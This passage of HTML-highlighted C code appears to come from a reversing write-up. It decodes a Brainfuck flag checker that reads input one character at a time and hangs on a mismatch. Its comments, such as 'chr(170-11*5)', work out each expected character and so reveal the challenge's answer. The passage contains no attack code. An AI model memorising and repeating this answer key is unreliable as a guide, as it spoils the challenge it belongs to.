<span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">102</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// chr(170-11*5)</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">11</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">5</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">170</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// chr(104-8*7)</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">8</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">7</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">104</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// chr(138-6*5)</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">6</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">5</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">138</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// chr(108-8*7)</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">8</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">7</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">108</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// chr(173-9*7)</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">9</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">7</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">173</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// chr(133-6*5)</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">6</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">5</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">133</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// chr(98-9*5)</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">9</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">5</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">98</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// chr(145-10*5)</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">10</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">5</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">145</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// chr(125-10*7)</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">10</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">7</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token 